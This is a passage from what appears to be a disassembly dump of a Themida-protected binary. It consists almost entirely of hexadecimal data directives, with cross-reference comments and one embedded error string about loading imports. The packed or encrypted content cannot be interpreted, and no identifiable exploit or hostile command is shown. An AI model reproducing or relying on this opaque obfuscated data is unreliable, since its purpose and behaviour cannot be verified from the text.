850D6D0h, 84E3868h, 439C559Ah, 998737C7h, 439C5528h dd 1C0AA073h, 439C55ABh, 0DE3923F6h, 59478E50h, 0C1951FB6h dd 0F9000000h, 0A3F26AE7h, 0DD13B449h, 54CE2A73h, 0D17A10B3h dd 0B22311A1h, 0FD49A34Bh, 49E2892Ah, 972E5E5Fh, 0BEB23902h dd 37F57828h, 29C4F1E0h, 96CA4EC0h, 0F884962Dh dd 0CDB71777h, 0A3911E87h, 0DF865949h, 0F78D2858h, 86E52674h dd 65838803h, 0DE26F157h, 0F828B758h, 0BE6C735Dh, 305FE815h dd 0E70AF495h, 0B94C7E60h, 0B960FD2Ah, 0FBE97F20h, 49A3EB92h dd 5CE416BFh, 0A3EAFD6Eh, 0D4754849h, 871DF0EAh, 2C16AFDEh dd 0C95C8C13h, 0F0E46B34h, 0EADF6C5Ah, 692A49A3h, 60F9A03Bh dd 0DF4C18BFh, 2349A42Ah, 27AE55F0h, 49B45BFAh, 83F63600h dd 9920EC3Ah, 94210FA5h, 0DF49A3AAh, 0C9D6770Ch, 4C000000h dd 0F48A820Ah, 0A2CFB006h, 62F8CB47h, 0CF53C4B2h, 0D69E439Ch dd 9CCF77E8h, 4EEFC243h, 97C44B64h, 99346009h, 9CCF54C5h dd 0ACDE9F43h, 38D97219h, 0AF390297h, 0EE6932F3h, 8ABD26BFh dd 9D33D45Ah, 9CE04AAFh, 0BB28543h, 391873Fh, 0ED7000BAh dd 6250C21Dh, 439CB6F1h, 3100693Ch, 7178E10Bh, 63A5D93Ch dd 7EC8230Dh, 0B6595D78h, 567F1Fh, 0AE30000h, 4DF68C80h dd 0CF6A991Ah, 4EE8F28h, 0F29D0EFCh, 15E849A3h, 1BBAE76Eh dd 0E6F30285h, 81F60D53h, 3DC79097h, 0A8C5B349h, 4549A383h dd 8336A795h, 0AE8149A3h, 0F6A69445h, 0C6B0E788h, 8652F9CCh dd 49A3D519h, 16E63079h, 1402988Ch, 49A355F7h, 0C83ACFA2h dd 0EB4E7C25h, 9405B941h, 761DBEA7h, 0C2F2F3DDh, 45EE7C23h dd 3BD47B16h, 85205051h, 0A79F27F0h, 0A0396811h, 16C0AEB6h dd 0D147A22Bh, 1E8B57FEh, 62439BFAh, 65EC9332h, 0E885B233h dd 0EC35A047h, 593CE222h, 0B3CC09CFh, 51FA1FB6h, 0AA9E8823h dd 25h, 8A820A0Eh, 18406F4h, 0DCAF47A3h, 0D6719D46h, 9A07D3ECh dd 0C7439CE1h, 41945AE4h, 9B1FB5D1h, 0E2h, 69FC2CFFh, 61FC2AD3h dd 9D8B21BAh, 49A3F22Ch, 0A1BAA477h, 0A03D6A13h, 182B5B6h dd 2F9037D2h, 25684B06h, 2BCC6D47h, 3ACDFD84h, 49DC0C93h dd 0B5FBC8B4h, 35B849A3h, 0C7CE845Ch, 405EF55h, 5AC41D4h dd 9C2454D5h, 0A3C33DAEh, 14B58849h, 1745D46Dh, 9B3CD57Ch dd 0CBC34BF4h, 0A4594735h, 0D1A447A2h, 5EB733Ch, 0FD963DD8h dd 94087967h, 8053439Ch, 0CB5B49DFh, 124194F5h, 0CD00A93Fh dd 48F19F34h, 0CA65911Ah, 0FFE98A23h, 643ACBFEh, 0F07E991Eh dd 0FFF475A4h, 0B8000001h, 0B259EE87h, 0AB52E786h, 0A64DE27Dh dd 0A249DE77h, 0A641D66Fh, 5A0D38Eh, 19CC970h, 93C56Ch dd 194C46Bh, 43319F6Ch, 439602D2h, 2C34061Dh, 7DF0A0F9h dd 7EB21658h, 71A148DDh, 689740D6h, 0A38D26CDh, 820A2A9Ch dd 8406F48Ah, 0AF47A301h, 0F7A735DCh, 0E0E85947h, 6033439Ch dd 9CE01B8Ch, 73A56643h, 0FFA039E0h, 0E062CF15h, 0AC8F439Ch dd 0D2795C62h, 0E0631FB5h, 0C7000000h, 4272A225h, 5036E8D6h dd 0AD356566h, 0A3A44EBFh, 30C69949h, 0A3A4D142h, 0A8491C49h dd 0AE477A01h, 0A06E3B07h, 23249A3h, 9D20CE63h, 1FB8C5Bh dd 42432D3Ah, 3ECC7312h, 0E3CD6895h, 0AA4038C0h, 0A29FCEBCh dd 0B25B0B47h, 0A33CE382h, 9C8F5ECFh, 0ECD6A943h, 0E0891FF2h dd 0D56E15B0h, 931BE4EBh, 295C059Bh, 0C258F198h, 9C8F63D4h dd 0F1DBAE43h, 9B8939E9h, 439C8F2Ah, 72B8A275h, 4194F4CDh dd 761FB588h, 761DB243h, 80DCB243h, 32F07E9Ah, 0EC8203h dd 74A50000h, 79A54CE1h, 74A249DEh, 6E9D44D9h, 64973ED3h dd 89A13CD1h, 750A9BCEh, 6F04A1CEh, 66FB96C8h, 63F88FBFh dd 0C93A2896h, 14439601h, 0A2252BFDh, 0D9F7AB4Fh, 0B7C2CD95h dd 983983ECh, 0C7FAFBE5h, 0C2F2992Eh, 2C1C8E23h, 3BC269FCh dd 29D76C0Bh, 99C75080h, 2FB65DFEh, 26BF6601h, 0F0789B85h dd 177462F8h, 4247988Ch, 1141C86Fh, 0A3AE176h, 2CD56Bh dd 4230BE65h, 43960CD1h, 0BEA8491Ch, 23DCD9A5h, 83C30384h dd 0F374E5D3h, 0C3B1031Fh, 31FF352h, 6F42CA9Dh, 0F37AEBD9h dd 0F2C5031Fh, 0B563AD08h, 0B65DF285h, 0BA48EF86h, 0F3AB1C0Ah dd 23F6031Fh, 70093839h, 751042C9h, 801747CEh, 832252D9h dd 120711CAh, 1FF3B324h, 8A2BFE03h, 0D640CE17h, 0F75347A6h dd 817A4DB3h, 74A44BE0h, 3B93AE1h, 2F000000h, 0FB2C7C5Eh dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 13ACh, 89240C89h dd 4C181E1h, 83000000h, 0C8704E9h, 4B685C24h, 8900005Dh dd 8952242Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 240C895Ch dd 0E65FBE56h, 0F589060Dh, 8324348Bh, 8B5404C4h, 0C483240Ch dd 6A076804h, 2C890000h, 8418F24h, 592434FFh, 4C481h, 34FF0000h dd 0C4815D24h, 4, 0F98A7EE9h, 68D751FFh, 14C60E9Bh, 0E8E86579h dd 0CFAD9215h, 0DF298B8h, 0FFC50306h, 2A8E3AE0h, 0A6DC7B52h dd 0D6ED2778h, 89C88641h, 5909B45h, 18567C7Dh, 0AB6A473Eh dd 95EB454Dh, 731D97Dh, 0CE95B13Bh, 6601AD2Bh, 0C38CAC1Ah dd 83FE4302h, 55EECC1Fh, 0C5B1AC12h, 9E4DF043h, 97747D08h dd 0BE52C248h, 0DD4D720Dh, 59DF9011h, 398D8D2Eh, 6A060DF4h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0B0DCC351h, 5C374A2h, 8D89AC65h, 6070345h dd 1AD98D89h, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0C73252C3h, 7101D85h, 635C06h, 0C7816600h dd 85C793B2h, 6073305h, 0 dd 820Fh, 0B5FF0000h, 6070469h, 0E852006Ah db 3 byte_5ABBA9 db 3 dup(0) ; DATA XREF: Themida_:0053DB80o dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 96C35242h, 532820BAh dd 0ADCDA452h, 0FFD38B66h, 7185995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B70F09EEh dd 0FF006AF9h, 70D6995h dword_5ABBF8 dd 0EBC08B06h, 37446948h, 7342D2A3h, 6FEF9FF8h, 0A81B18CEh ; DATA XREF: Themida_:0053CB04o dd 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 0FAA90101h, 0BFFCF2A1h dd 0E42026B4h, 5E22AB32h, 3E40FC8h, 706143EFh, 369C88D6h dd 89128E11h, 86397E61h, 0D574DC35h, 0D8DD1330h, 127E94Ah dd 5B500000h, 0EFAC7376h, 154Eh, 6E410000h, 72724520h dd 6820726Fh, 6F207361h, 72727563h, 77206465h, 656C6968h dd 616F6C20h, 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h dd 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h dd 777h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 127CEF8Fh, 1C131134h dd 45335B1h, 61664235h, 9E35722Bh, 1177A9F2h, 90EF8832h dd 13615B4Fh, 0B8A6BFBFh, 0C699173Bh, 0A8E5D069h, 13615507h dd 45715632h, 1177A961h, 90EF8832h, 13615B4Fh, 0BFC9BFBFh dd 0C699173Bh, 0D5EDD069h, 0E1BCF9B1h, 1A66243Fh, 156601B6h dd 0CCE30532h, 0EA6049EEh, 1CE3AFE2h, 0EA601CEFh, 0D8E34EE2h dd 4360433Bh, 0BDDE705Ah, 8CD3EEAEh, 98608F3Fh, 1F167CB7h dd 9CB6DD34h, 126320B7h, 0BFE30534h, 456049C7h, 0E1EDA7BFh dd 0EA36173Fh, 126749A7h, 0F4E38334h, 1560253Ch, 0D3661132h dd 126F45B7h, 7C0E0134h, 0EAE8505Bh, 12638C87h, 76E30534h dd 0EA60430Bh, 0A8E3ABE2h, 0D360163Bh, 126F45B7h, 4B0E0734h dd 0EAFA4559h, 12638C87h, 76E30534h, 0EA60430Bh, 0D7E3ABE2h dd 0D3601CC6h, 126F45B7h, 3C0E1034h, 0EA88405Ah, 12638C87h dd 76E30534h, 0EA60430Bh, 0D3E3ABE2h, 0D3601CC6h, 126F45B7h dd 0D70E0134h, 0EABC420Ah, 12638C87h, 76E30534h, 0EA60430Bh dd 0DFE3ABE2h, 96601CC6h, 127F358Fh, 90694434h, 15662277h dd 1CAB94F4h, 7D238E35h, 0EF463AB4h, 10FB97CDh, 90EB1735h dd 1361B151h, 90EF94CDh, 136BD6FCh, 1CAB94F4h, 7D2A8E35h dd 0F54094F1h, 10FB97CDh, 90EB1735h, 1361B151h, 90EF94CDh dd 136BD6E0h, 156651DBh, 0D8E34E32h, 4760433Bh, 5F822F5Ah dd 0E8D3EE8Eh, 98608F2Dh, 125F27B7h, 9CB6DD34h, 1892DFB7h dd 0D8E34E34h, 4760433Bh, 592C6A5Ah, 0E8D3EE94h, 98608F2Dh dd 125F27B7h, 9CB6DD34h, 1892C3B7h, 0D8E34E34h, 4760433Bh dd 57D2C85Ah, 88D3EECFh, 98608F37h, 125F27B7h, 9CB6DD34h dd 126CBCB7h, 0D8E34E34h, 6260433Bh, 82CE815Ah, 90D3EEC1h dd 98608F22h, 125F27B7h, 9CB6DD34h, 126884B7h, 0D8E34E34h dd 4760433Bh, 0C857355Ah, 88D3EEB8h, 98608F37h, 125F27B7h dd 9CB6DD34h, 124F60B7h, 0D8E34E34h, 4360433Bh, 0A0B1B5Ah dd 8CD3EEE6h, 98608F3Fh, 1F167CB7h, 9CB6DD34h, 124DF4B7h dd 0D8E34E34h, 5260433Bh, 0C976585Ah, 88D3EEB3h, 98608F37h dd 125F27B7h, 9CB6DD34h, 124B30B7h, 0D8E34E34h, 5260433Bh dd 1AD3C05Ah, 88D3EEB8h, 98608F37h, 125F27B7h, 9CB6DD34h dd 1892E3B7h, 0A0DB0B34h, 15604310h, 1337A63Dh, 90A01132h dd 136181FFh, 98F2C7Eh, 0A099FBE8h, 136114AFh, 2C050DBFh dd 0C5994235h, 0E1B8A7BBh, 90A0173Fh, 136181FFh, 0CBA82C7Eh dd 0A099FF46h, 136114AFh, 2C050DBFh, 0C5994235h, 0E184A7BBh dd 90A0173Fh, 136181FFh, 97592C7Eh, 0A09995B3h, 136114AFh dd 2C050DBFh, 0C5994235h, 0E180A7BBh, 90A0173Fh, 136181FFh dd 557E2C7Eh, 0A099911Dh, 136114AFh, 2C050DBFh, 0C5994235h dd 0E180A7BBh, 90A0173Fh, 136181FFh, 13722C74h, 0A09998ECh dd 136114AFh, 2C050DBFh, 0C5994235h, 0E188A7BBh, 90A0173Fh dd 136181FFh, 51C2C75h, 0A099A3EEh, 136114AFh, 2C050DBFh dd 0C5994235h, 0E190A7BBh, 90A0173Fh, 136181FFh, 9BCA2C75h dd 0A099CDB5h, 136114AFh, 2C050DBFh, 0C5994235h, 0E19CA7BBh dd 90A0173Fh, 136181FFh, 0B2B42C75h, 0A099F6A8h, 136114AFh dd 2C050DBFh, 0C5994235h, 0E198A7BBh, 90A0173Fh, 136181FFh dd 2C622C75h, 0A09998F3h, 136114AFh, 2C050DBFh, 0C5994235h dd 0E064A7BBh, 0A8E5173Fh, 13619723h, 0D3463132h, 126FEFB7h dd 720E5634h, 0EA86FA1Fh, 1263D987h, 76E3AF34h, 0EA60160Bh dd 13E301E2h, 0D36049C7h, 126FEFB7h, 0A40E5634h, 0EAE8A181h dd 1263D987h, 76E3AF34h, 0EA60160Bh, 1FE301E2h, 0D36049C7h dd 126FEFB7h, 0B20E5234h, 0EAA6FE78h, 1263D987h, 76E3AF34h dd 0EA60160Bh, 1BE301E2h, 0D36049C7h, 126FEFB7h, 0FE0E5D34h dd 0EA9DEE5Eh, 1276C187h, 76E3AF34h, 0EA60160Bh, 0B7E301E2h dd 0D36049C7h, 126FEFB7h, 400E5534h, 0EADDFBBCh, 1263D987h dd 76E3AF34h, 0EA60160Bh, 7E301E2h, 0D36049C7h, 126FEFB7h dd 0E90E5234h, 0EADA065Ch, 1263D987h, 76E3AF34h, 0EA60160Bh dd 3E301E2h, 0D36049C7h, 126FEFB7h, 0BF0E4234h, 0EAA0980Ch dd 1263D987h, 76E3AF34h, 0EA60160Bh, 0FE301E2h, 966049C7h dd 12651B8Fh, 91691134h, 156688D2h, 1CABC1F4h, 7D202435h dd 0EFF0DF03h, 10FB3DCDh, 90EB4235h, 13611B51h, 90EFC1CDh dd 136B7D44h, 1CABC1F4h, 7D202435h, 0E9C12BE4h, 10FB3DCDh dd 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DB4h, 1CABC1F4h dd 7D202435h, 879AB532h, 10FB3DCDh, 90EB4235h, 13611B51h dd 90EFC1CDh, 136B7DB8h, 1CABC1F4h, 7D202435h, 0E3B25E58h dd 10FB3DCDh, 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DBCh dd 1CABC1F4h, 7D202435h, 81AB41D5h, 10FB3DCDh, 90EB4235h dd 13611B51h, 90EFC1CDh, 136B7D48h, 1CABC1F4h, 7D202435h dd 0A4446509h, 10FB3DCDh, 90EB4235h, 13611B51h, 90EFC1CDh dd 136B7D4Ch, 1CABC1F4h, 7D202435h, 0CA1FFBDFh, 10FB3DCDh dd 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DB0h, 0A77F9B1h dd 60662435h, 0D8E3D712h, 46608F3Bh, 0AB861A5Ah, 88D3DDFCh dd 98601637h, 125FEBB7h, 9CB6BB34h, 18933CB7h, 0D8E3D734h dd 52608F3Bh, 0A438C35Ah, 88D3DDF5h, 98601637h, 125FEBB7h dd 9CB6BB34h, 189300B7h, 4DB9234h, 15608F2Dh, 90A06447h dd 13612BFFh, 6B637975h, 0A0996E50h, 136141AFh, 2C05A7BFh dd 0C5991735h, 0E0400DBBh, 90A0423Fh, 13612BFFh, 1C907971h dd 0A0991A48h, 136141AFh, 2C05A7BFh, 0C5991735h, 0E04C0DBBh dd 90A0423Fh, 13612BFFh, 82467971h, 0A0997413h, 136141AFh dd 2C05A7BFh, 0C5991735h, 0E0480DBBh, 0A8E5423Fh, 13613D23h dd 0D3266432h, 126F45B7h, 160E0734h, 0EAED229Ah, 12638C87h dd 76E30534h, 0EA60430Bh, 23E3ABE2h, 0D3601CC7h, 126F45B7h dd 0C00E0734h, 0EA837904h, 12638C87h, 76E30534h, 0EA60430Bh dd 27E3ABE2h, 0D3601CC7h, 126F45B7h, 0F40E0734h, 0EA8C8800h dd 12638C87h, 76E30534h, 0EA60430Bh, 2FE3ABE2h, 0D3601CC7h dd 126F45B7h, 220E0734h, 0EAE2D39Eh, 12638C87h, 76E30534h dd 0EA60430Bh, 2BE3ABE2h, 0D3601CC7h, 126F45B7h, 0C10E0B34h dd 0EAF117A2h, 12638C87h, 76E30534h, 0EA60430Bh, 57E3ABE2h dd 0D3601CC7h, 126F45B7h, 170E0B34h, 0EA9F4C3Ch, 12638C87h dd 76E30534h, 0EA60430Bh, 53E3ABE2h, 0D3601CC7h, 126F45B7h dd 5C0E0934h, 0EAAE154Bh, 12638C87h, 76E30534h, 0EA60430Bh dd 5BE3ABE2h, 0D3601CC7h, 126F45B7h, 9C0E0934h, 0EABAD57Fh dd 12638C87h, 76E30534h, 0EA60430Bh, 5FE3ABE2h, 0D3601CC7h dd 126F45B7h, 220E1134h, 0EAFA391Fh, 12638C87h, 76E30534h dd 0EA60430Bh, 47E3ABE2h, 0D3601CC7h, 126F45B7h, 3F0E0734h dd 0EAB4F7C2h, 12638C87h, 76E30534h, 0EA60430Bh, 43E3ABE2h dd 0D3601CC7h, 126F45B7h, 0FF0E1634h, 0EA9B6086h, 12638C87h dd 76E30534h, 0EA60430Bh, 0B8E3ABE2h, 0D3601638h, 126F45B7h dd 8C0E0334h, 0EA84BA6Bh, 12638C87h, 76E30534h, 0EA60430Bh dd 4FE3ABE2h, 0D3601CC7h, 126F45B7h, 0D70E0334h, 0EAD7DF52h dd 12638C87h, 76E30534h, 0EA60430Bh, 4BE3ABE2h, 0D3601CC7h dd 126F45B7h, 10E0334h, 0EAB984CCh, 12638C87h, 76E30534h dd 0EA60430Bh dd 77E3ABE2h, 0D3601CC7h, 126F45B7h, 7D0E1B34h, 0EAF872C0h dd 12638C87h, 76E30534h, 0EA60430Bh, 73E3ABE2h, 0D3601CC7h dd 126F45B7h, 2A0E0B34h, 0EAA1DE49h, 12638C87h, 76E30534h dd 0EA60430Bh, 87E3ABE2h, 0D3601CC7h, 126F45B7h, 590E0334h dd 0EA9C795Ch, 12638C87h, 76E30534h, 0EA60430Bh, 83E3ABE2h dd 0D3601CC7h, 126F45B7h, 0D80E0334h, 0EAA52416h, 12638C87h dd 76E30534h, 0EA60430Bh, 8FE3ABE2h, 0D3601CC7h, 126F45B7h dd 0D90E1B34h, 0EAB29952h, 12638C87h, 76E30534h, 0EA60430Bh dd 7FE3ABE2h, 0D3601CC7h, 126F45B7h, 5B0E1B34h, 0EAF8CB66h dd 12638C87h, 76E30534h, 0EA60430Bh, 7BE3ABE2h, 0D3601CC7h dd 126F45B7h, 5D0E1B34h, 0EAB7311Ah, 12638C87h, 76E30534h dd 0EA60430Bh, 67E3ABE2h, 7F601CC7h, 566E036h, 150E4432h dd 7F662222h, 24F3EE32h, 9C608F37h, 1274E9B7h, 24E3AF34h dd 0EA601CEFh, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h dd 1263B9A7h, 0C8E3CD34h, 9C602520h, 12611CB7h, 7D26E234h dd 15665432h, 1466225Ah, 0EA667B32h, 1263B9A7h, 0B8E3CD34h dd 9E60251Ah, 1246E487h, 54FB0334h, 9C604332h, 12779387h dd 50FB9834h, 9E608F3Fh, 126605AFh, 966DA934h, 916911CBh dd 156682EDh, 26061562h, 0CE3ABF2h, 0AB601601h, 1566880Eh dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h dd 15479FBBh, 0EAE31735h, 156C0D3Dh, 1B8E4432h, 0FC662223h dd 156611A3h, 7EB10363h, 80EF40E0h, 13613FAFh, 150E1558h dd 47668822h, 80994458h, 13612703h, 382B94BBh, 0C5ED8E35h dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1274E98Fh, 0EAAFA134h dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0CE3EE60h, 9E608F01h dd 12555DA7h, 34F31B34h, 1A601632h, 156682B6h, 96381E32h dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 13ABC1F5h, 15662435h dd 90A11132h, 13618DA7h, 15664432h, 0E1BC9FB1h, 1A66173Fh dd 156680B6h, 0F9FBC932h, 0EA602F6Bh, 88E3EEE1h, 96608F23h dd 1277D98Fh, 97694634h, 15661150h, 4FB0DF5h, 15674235h dd 98062232h, 1893A387h, 8DB0534h, 3E604A20h, 9EB1A9CCh dd 1274BC8Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 13618333h dd 1571C03Dh, 0A8E52232h, 13612207h, 1FE38732h, 0D2664432h dd 1268C3B7h, 15661034h, 0F8DFE932h, 0AF417EF0h, 160DE515h dd 0A4D3989Fh, 0D2608F23h, 1566B874h, 0FB5B2232h, 1A88FFDCh dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h dd 96664432h, 0A0EF26F4h, 13610083h, 156E71DBh, 26BECF32h dd 1268C3B7h, 16AED034h, 0D5A74A19h, 9CA77722h, 1268C3AFh dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h dd 1566880Bh, 156642F5h, 0D3E52232h, 0A4D39836h, 9E608F23h dd 126605AFh, 9E6DA934h, 0D7ED71E2h, 1F570D19h, 0F5A74235h dd 30E32130h, 83601612h, 9CA78B9Fh, 747A6076h, 15665EDBh dd 26344032h, 58F303FBh, 2E60431Fh, 2DE22D30h, 96661132h dd 2E278CF0h, 126665BFh, 0FDE32D34h, 9899EECDh, 18921F87h dd 0B8DBC934h, 0B9602511h, 9169D1B6h, 15668834h, 0EA97AD98h dd 15DEDDCDh, 98661132h, 122D13BFh, 9C87BB34h, 12553BBFh dd 433F4B34h, 152715B9h, 1EED4235h, 267FA7B9h, 0F5B71735h dd 36270D31h, 0E3554235h, 0D4CB44A4h, 906513D2h, 1361A817h dd 0D465E9A4h, 60DBA16Ch, 1460161Eh, 155F0C3Dh, 985D4432h dd 136127AFh, 154B953Dh, 985D8832h, 136154B7h, 1547A63Dh dd 985D1132h, 1361A1D7h, 1573C03Dh, 88EB2232h, 136818C7h dd 0EDED5BCDh, 3D43C1BBh, 0A18F2435h, 98661134h, 1B6F7DAFh dd 96B5BB34h, 124A578Fh, 91691134h, 1566882Fh, 188FC109h dd 91692435h, 1566113Eh, 19AF0D09h, 90694235h, 15662237h dd 0EA99A8DBh, 0A8E3B3CDh, 1A60433Bh, 15663AB7h, 0A8DB9232h dd 15608F2Bh, 156DC13Dh, 90EB2232h, 136BA89Eh, 0EA991DDBh dd 0A8E37FCDh, 1A60253Bh, 0EA9998B6h, 86DB0BCDh, 146049C6h dd 1571A73Dh, 905D1132h, 136B7CC0h, 156DC13Dh, 90EB2232h dd 153EF792h, 0EA99E5DBh, 969977CDh, 1244978Fh, 91691134h dd 15668B55h, 0E1B8C109h, 1213243Fh, 0E5794B9h, 2E218E35h dd 1892A2B7h, 9E615734h, 127BA8B7h, 905DCF34h, 136BB0D0h dd 90ED2547h, 13611107h, 0FFE3B375h, 606049C6h, 24E3A935h dd 52601602h, 0E1880D09h, 1213423Fh, 174BA7B9h, 2E211735h dd 18927AB7h, 9E613134h, 1245B7B7h, 905D5634h, 136B7CC4h dd 90ED4347h, 13612BD7h, 0EFE32A75h, 606085C6h, 7CE3CF35h dd 5260252Ah, 0E1989409h, 12138E3Fh, 1F6BC1B9h, 2E212435h dd 189313B7h, 9E61FD34h, 124E91B7h, 905D6534h, 136BE438h dd 90ED8F47h, 13616D53h, 13E31975h, 60601CC7h, 4DB0B22h dd 1560432Dh, 90ED2547h, 13611787h, 18DB0B75h, 15604311h dd 905D2D46h, 136BE4A0h, 90ED8F47h, 13615467h, 2CDBA175h dd 15601631h, 0A8E5FA46h, 13616CDBh, 2E0F5632h, 189367B7h dd 9E61FD34h, 126845B7h, 905D6534h, 136BE4B4h, 90ED8F47h dd 13616793h, 6FE31975h, 60601CC7h, 0C4E30335h, 52604313h dd 0E0ECA709h, 1213173Fh, 33270DB9h, 2E214235h, 1893ACB7h dd 9E616434h, 12749DB7h, 905D0334h, 136BD74Ch, 90ED1647h dd 1361A11Bh, 97E37F75h, 60602FC7h, 9CE39A35h, 52608F23h dd 3D8FF9B1h, 1A662435h, 15641BB6h, 1BE3B332h, 606049C7h dd 0CCE3A935h, 5260163Dh, 0E0C40D09h, 1213423Fh, 3F6BA7B9h dd 2E211735h, 18939AB7h, 9E613134h, 124E0FB7h, 905D5634h dd 136B7D24h, 90ED4347h, 136120BFh, 0FE32A75h, 606085C7h dd 34E3CF35h, 5260251Bh, 0E0789409h, 5138E3Fh, 0A77F9B1h dd 60662435h, 0E8E39A35h, 52608F1Ch, 0E044C109h, 1213243Fh dd 4A794B9h, 2E218E35h, 189362B7h, 96765734h, 1279008Fh dd 12138834h, 0F6FC1B9h, 2E212435h, 18933BB7h, 9E61FD34h dd 124019B7h, 905D6534h, 136BE41Ch, 90ED8F47h, 1361675Bh dd 23E31975h, 60601CC7h, 4DB0B22h, 1560432Dh, 90ED2547h dd 13610173h, 27E3B375h, 606049C7h, 4DBA122h, 1560162Dh dd 90ED8F47h, 136149BFh, 2FE31975h, 60601CC7h, 38E30335h dd 5260433Ah, 0E058A709h, 1213173Fh, 309F0DB9h, 2E214235h dd 189360B7h, 9E616434h, 1244C5B7h, 905D0334h, 136BD774h dd 90ED1647h, 13618C07h, 5FE37F75h, 60602FC7h, 0ACE39A35h dd 52608F30h, 0E028C109h, 1213243Fh, 253794B9h, 2E218E35h dd 189316B7h, 9E615734h, 124974B7h, 905DCF34h, 136BB164h dd 90ED2547h, 13611D9Fh, 0B8E3B375h, 60604338h, 7CE3A935h dd 52601635h, 0E03C0D09h, 1213423Fh, 175BA7B9h, 2E211735h dd 18931EB7h, 967F3134h, 1893BC8Fh, 1C131134h, 391335B1h dd 61664235h, 8E3A935h, 5260163Ch, 0E0FC0D09h, 0C13423Fh dd 0E0F89FB1h, 6066173Fh, 60DB0B3Bh, 1560431Eh, 90ED2546h dd 1361007Bh, 4BE3B375h, 606049C7h, 58E3A935h, 5260162Dh dd 0E0040D09h, 1213423Fh dd 17C7A7B9h, 2E211735h, 1893EEB7h, 9E613134h, 1275C7B7h dd 905D5634h, 136B7D58h, 90ED4347h, 13612F0Bh, 7BE32A75h dd 606085C7h, 78E3CF35h, 52602539h, 0E0149409h, 12138E3Fh dd 1ABFC1B9h, 1E212435h, 10E21ECDh, 0FC668832h, 0EA99BFD8h dd 1BF3A709h, 90691735h, 15668839h, 835AC1BFh, 0C68F243Fh dd 2E99EEC9h, 124FF9B7h, 0DE34B34h, 96662232h, 1892828Fh dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h dd 18928AB7h, 19E22D34h, 2E661132h, 18925AB7h, 10E34B34h dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh dd 905D1132h, 136B7CF0h, 156DC13Dh, 90EB2232h, 153E73D6h dd 0EA9DE5DBh, 0D3E37FCDh, 1A602FC6h, 15661AB7h, 4FE30532h dd 0FC661C51h, 0EA99D964h, 0E1AC9409h, 90698E3Fh, 15664439h dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h dd 1563943Dh, 368F8832h, 9E99BBC9h, 38D3ABC2h, 9C60162Ch dd 124A0D87h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h dd 15A5C5ECh, 2E662272h, 12783C8Fh, 1DE48734h, 2E664432h dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 7BBF9B9h, 90A12435h dd 1361327Fh, 15668832h, 90D3CD52h, 9860251Eh, 1B69C7AFh dd 1AB57734h, 156666B0h, 0A8FBAF32h, 0EA601D8Ch, 0CBE587E1h dd 9E99BBCDh, 124AA787h, 58D39834h, 98608F11h, 183FD0AFh dd 9EB5DD34h, 12783CB7h, 90E30134h, 7460431Eh, 1959BFBFh dd 0C699173Ch, 1A4115BFh, 0C699423Ch, 156AA13Dh, 90E51132h dd 1361A4B7h, 0EAB8AD37h, 88EBDDCDh, 13681E62h, 96695BCDh dd 1566443Ah, 0FC62E0B1h, 15661100h, 0ABDB15BFh, 0C699423Eh dd 156DA13Dh, 0A0ED1132h, 1361A4B7h, 1561C4DBh, 90EBA932h dd 9C60161Eh, 124A0D87h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h dd 88EB77CDh, 136B1DDEh, 0D2EDF1CDh, 7BB9419h, 90EF8E35h dd 1361650Fh, 7BBA7B9h, 45311735h, 4F0705BFh, 0C499423Fh dd 3DCBA7B9h, 42361735h, 7BB0DB9h, 98364235h, 183CB2BFh dd 9EB7EE34h, 3EAE03E2h, 124EE9BFh, 1CDBA134h, 1560163Fh dd 154D0C3Dh, 90ED4432h, 13612567h, 186F9419h, 0D45D8E35h dd 1571C23Dh, 90ED2232h, 13611AFFh, 186F0D31h, 90EF4235h dd 13610A17h, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h dd 126144B7h, 30E38934h, 0D2604329h, 126B2BB7h, 15661134h dd 7D26E232h, 15665432h, 0EA664863h, 126320A7h, 48F37734h dd 9C604323h, 126DEFB7h, 30E39834h, 4C608F1Ah, 3D43F1CDh dd 0A0992435h, 1361399Fh, 0C8D37765h, 98604320h, 183900B7h dd 14B6EE34h, 126B81BFh, 30DBCF34h, 9E60251Ah, 124EBC87h dd 9EC27B34h, 1277F587h, 53A18F34h, 156611CEh, 10A64932h dd 2FA4A937h, 0CE32115h, 9E601611h, 124EADBFh, 0B86ECD34h dd 159A64F5h, 9C661132h, 12773987h, 0EA9EC734h, 1546A73Dh dd 2BE71132h, 